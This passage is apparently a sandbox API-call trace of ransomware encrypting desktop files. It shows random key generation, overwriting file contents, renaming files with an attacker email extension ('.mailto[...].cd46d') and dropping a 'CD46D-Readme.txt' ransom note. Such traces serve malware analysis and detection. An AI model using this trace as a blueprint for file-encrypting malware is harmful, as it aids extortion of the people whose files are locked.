FileInformation=0x5a9fe74) returned 0x0 [0054.602] NtSetInformationFile (FileHandle=0xb4c, IoStatusBlock=0x5a9fe9c, FileInformation=0x5a9fe74, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.679] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x40d6e8) returned 1 [0054.679] FlushFileBuffers (hFile=0xb4c) returned 1 [0054.685] CloseHandle (hObject=0xb4c) returned 1 [0054.687] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x417740 [0054.687] wcscpy (in: _Dest=0x417740, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.687] wcscat (in: _Dest=0x417740, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.687] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.726] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb74 [0056.133] WriteFile (in: hFile=0xb74, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x5a9fe98, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x5a9fe98*=0x6fd, lpOverlapped=0x0) returned 1 [0063.782] CloseHandle (hObject=0xb74) Thread: id = 626 os_tid = 0x844 [0050.490] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\4ie1gcde5.gif")) returned 0x20 [0050.490] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif", dwFileAttributes=0x20) returned 1 [0050.490] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\4ie1gcde5.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb50 [0050.490] GetFileSizeEx (in: hFile=0xb50, lpFileSize=0xf76fa40 | out: lpFileSize=0xf76fa40*=83424) returned 1 [0050.490] SetFilePointerEx (in: hFile=0xb50, liDistanceToMove=0x145dc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.490] ReadFile (in: hFile=0xb50, lpBuffer=0xf76f9c4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf76f9c0, lpOverlapped=0x0 | out: lpBuffer=0xf76f9c4*, lpNumberOfBytesRead=0xf76f9c0*=0x4, lpOverlapped=0x0) returned 1 [0050.491] SetFilePointerEx (in: hFile=0xb50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0050.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d06c8 [0050.491] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.491] NtQuerySystemTime (in: CurrentTime=0xf76f9a0 | out: CurrentTime=0xf76f9a0*=132174898144740000) returned 0x0 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x97c7ca5 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x402680a9 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x553f3c28 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x5aa70b3f [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x2c2faaf [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x32201ff0 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x516a9d80 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x143175d2 [0050.491] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x5f43fbe1 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x6d8b1d37 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x63336c49 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x793b9c63 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x60c4adc6 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x4685de14 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x79ed0efe [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x254a681c [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x694b8be1 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x7d4af3d8 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x1a901a87 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x3704e639 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x62254913 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x29fcf320 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x638d8d8d [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x78616d12 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x673c1444 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x40527f72 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x54f0970c [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x79bdc0dc [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x3279cb46 [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x39611d0b [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0x76c4007e [0050.492] RtlRandomEx (in: Seed=0xf76f9ac | out: Seed=0xf76f9ac) returned 0xc0bcc [0050.504] SetFilePointerEx (in: hFile=0xb50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.504] ReadFile (in: hFile=0xb50, lpBuffer=0x96e38f8, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0xf76f980, lpOverlapped=0x0 | out: lpBuffer=0x96e38f8*, lpNumberOfBytesRead=0xf76f980*=0xc800, lpOverlapped=0x0) returned 1 [0050.504] SetFilePointerEx (in: hFile=0xb50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x4029f0 [0050.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43ab28 [0050.504] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0050.504] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0628) returned 1 [0050.505] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x12b50048 [0050.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0628 [0050.509] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0740) returned 1 [0050.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ab28) returned 1 [0050.509] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0050.510] WriteFile (in: hFile=0xb50, lpBuffer=0x12b50048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0xf76f980, lpOverlapped=0x0 | out: lpBuffer=0x12b50048*, lpNumberOfBytesWritten=0xf76f980*=0xc800, lpOverlapped=0x0) returned 1 [0053.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b50048) returned 1 [0053.333] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x96e38f8) returned 1 [0053.339] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x27) returned 0x97ce250 [0053.339] SetFilePointerEx (in: hFile=0xb50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.339] WriteFile (in: hFile=0xb50, lpBuffer=0x44d430*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0xf76fa00, lpOverlapped=0x0 | out: lpBuffer=0x44d430*, lpNumberOfBytesWritten=0xf76fa00*=0x10b, lpOverlapped=0x0) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d430) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce280) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cebc0) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ce250) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0628) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d06c8) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0768) returned 1 [0053.569] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0790) returned 1 [0053.569] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc2) returned 0x5e00470 [0053.569] wcscpy (in: _Dest=0x5e00470, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif" [0053.569] wcscat (in: _Dest=0x5e00470, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif.mailto[2Hamlampampom@cock.li].cd46d" [0053.569] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xf76f9b8, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\4IE1GCDE5.gif.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.569] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd8) returned 0x44d1f0 [0056.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44d1f0) returned 1 [0056.133] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49eaa8) returned 1 [0056.133] NtQueryInformationFile (in: FileHandle=0xb50, IoStatusBlock=0xf76f9c4, FileInformation=0xf76f99c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xf76f9c4, FileInformation=0xf76f99c) returned 0x0 [0056.133] NtSetInformationFile (FileHandle=0xb50, IoStatusBlock=0xf76f9c4, FileInformation=0xf76f99c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0056.506] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e00470) returned 1 [0056.506] FlushFileBuffers (hFile=0xb50) returned 1 [0056.509] CloseHandle (hObject=0xb50) returned 1 [0056.614] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x12e2a0d8 [0056.614] wcscpy (in: _Dest=0x12e2a0d8, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0056.614] wcscat (in: _Dest=0x12e2a0d8, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0056.614] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0x20 [0056.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12e2a0d8) returned 1 [0056.807] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4478f8) returned 1 Thread: id = 627 os_tid = 0x5f4 [0050.510] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\aknz_n0kdo8ofcm1s.bmp")) returned 0x20 [0050.510] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp", dwFileAttributes=0x20) returned 1 [0050.510] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\aknz_n0kdo8ofcm1s.bmp"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xb54 [0050.510] GetFileSizeEx (in: hFile=0xb54, lpFileSize=0x60afa84 | out: lpFileSize=0x60afa84*=25470) returned 1 [0050.510] SetFilePointerEx (in: hFile=0xb54, liDistanceToMove=0x637a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.511] ReadFile (in: hFile=0xb54, lpBuffer=0x60afa08, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x60afa04, lpOverlapped=0x0 | out: lpBuffer=0x60afa08*, lpNumberOfBytesRead=0x60afa04*=0x4, lpOverlapped=0x0) returned 1 [0050.511] SetFilePointerEx (in: hFile=0xb54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d0740 [0050.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07b8 [0050.511] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x95d07e0 [0050.511] NtQuerySystemTime (in: CurrentTime=0x60af9e4 | out: CurrentTime=0x60af9e4*=132174898144896000) returned 0x0 [0050.511] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x52714f64 [0050.511] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x1e96edbc [0050.511] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x3ef50786 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x5ee28180 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x3e95432a [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x65db18e9 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x64082773 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x40bbb046 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x1485b6fd [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x7bc1da54 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x1d935807 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x1c549318 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x2423b8e6 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x67590506 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0xc36e77e [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x48da5166 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x120acdb1 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x5d235fd9 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x926546f [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x469a81d9 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x71b108b4 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x50734d65 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x6522cd74 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x1cc436a1 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x8bb062a [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x79cf00bc [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x263cf266 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x4e4a5f75 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x7bf162e9 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x50438583 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x564f5557 [0050.512] RtlRandomEx (in: Seed=0x60af9f0 | out: Seed=0x60af9f0) returned 0x922de78 [0050.526] ReadFile (in: hFile=0xb54, lpBuffer=0x12b5c850, nNumberOfBytesToRead=0x637e, lpNumberOfBytesRead=0x60af9e0, lpOverlapped=0x0 | out: lpBuffer=0x12b5c850*, lpNumberOfBytesRead=0x60af9e0*=0x637e, lpOverlapped=0x0) returned 1 [0050.527] SetFilePointerEx (in: hFile=0xb54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0050.527] WriteFile (in: hFile=0xb54, lpBuffer=0x12b69058*, nNumberOfBytesToWrite=0x637e, lpNumberOfBytesWritten=0x60af9dc, lpOverlapped=0x0 | out: lpBuffer=0x12b69058*, lpNumberOfBytesWritten=0x60af9dc*=0x637e, lpOverlapped=0x0) returned 1 [0053.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cec88 [0053.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cecb0 [0053.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecb0) returned 1 [0053.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b69058) returned 1 [0053.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12b5c850) returned 1 [0053.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43ab28) returned 1 [0053.342] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4029f0) returned 1 [0053.342] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x37) returned 0x440f20 [0053.342] SetFilePointerEx (in: hFile=0xb54, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0053.342] WriteFile (in: hFile=0xb54, lpBuffer=0x5e47970*, nNumberOfBytesToWrite=0x11b, lpNumberOfBytesWritten=0x60afa44, lpOverlapped=0x0 | out: lpBuffer=0x5e47970*, lpNumberOfBytesWritten=0x60afa44*=0x11b, lpOverlapped=0x0) returned 1 [0053.571] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47970) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440f60) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cecb0) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x440f20) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec88) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d07b8) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x95d0808) returned 1 [0053.572] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x45ffb8) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x5e47860 [0053.572] wcscpy (in: _Dest=0x5e47860, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp" [0053.572] wcscat (in: _Dest=0x5e47860, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp.mailto[2Hamlampampom@cock.li].cd46d" [0053.572] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x60af9fc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\AknZ_N0KDo8OfCm1S.bmp.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0053.572] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x5e47940 [0054.694] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47940) returned 1 [0054.694] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x49eef8) returned 1 [0054.694] NtQueryInformationFile (in: FileHandle=0xb54, IoStatusBlock=0x60afa08, FileInformation=0x60af9e0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x60afa08, FileInformation=0x60af9e0) returned 0x0 [0054.694] NtSetInformationFile (FileHandle=0xb54, IoStatusBlock=0x60afa08, FileInformation=0x60af9e0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0054.697] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e47860) returned 1 [0054.697] FlushFileBuffers (hFile=0xb54) returned 1 [0054.699] CloseHandle (hObject=0xb54) returned 1 [0054.700] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x82) returned 0x4176b0 [0054.700] wcscpy (in: _Dest=0x4176b0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\" [0054.700] wcscat (in: _Dest=0x4176b0, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" [0054.700] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt")) returned 0xffffffff [0054.704] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\CD46D-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\cd46d-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xb7c [0056.129] WriteFile (in: hFile=0xb7c, lpBuffer=0x419f90*, nNumberOfBytesToWrite=0x6fd, lpNumberOfBytesWritten=0x60afa04, lpOverlapped=0x0 | out: lpBuffer=0x419f90*, lpNumberOfBytesWritten=0x60afa04*=0x6fd, lpOverlapped=0x0) returned 1 [0058.980] CloseHandle (hObject=0xb7c) returned 1 [0064.534] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4176b0) returned 1 [0064.535] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4383f0) returned 1 Thread: id = 628 os_tid = 0x5d8 [0050.528] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wafgtab5\\b6va.avi")) returned 0x20 [0050.528] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\WaFGTaB5\\b6VA.avi", dwFileAttributes=0x20) 